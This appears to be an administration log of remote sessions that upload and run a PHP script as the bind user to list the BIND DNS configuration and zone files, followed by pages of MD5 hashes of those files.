MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-13 14:08:34: Establishing a connection
2026-05-13 14:08:34: 

PUT: /tmp/pkp761314

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-13 14:08:35: 

runuser -l bind -s /bin/bash -c '/tmp/pkp761314; rm /tmp/pkp761314'

2026-05-13 14:08:35: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= e29c21b46b5393be06f75c34de3e6440
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-13 14:09:36: Establishing a connection
2026-05-13 14:09:36: 

PUT: /tmp/pkp340104

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-13 14:09:36: 

runuser -l bind -s /bin/bash -c '/tmp/pkp340104; rm /tmp/pkp340104'

2026-05-13 14:09:36: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
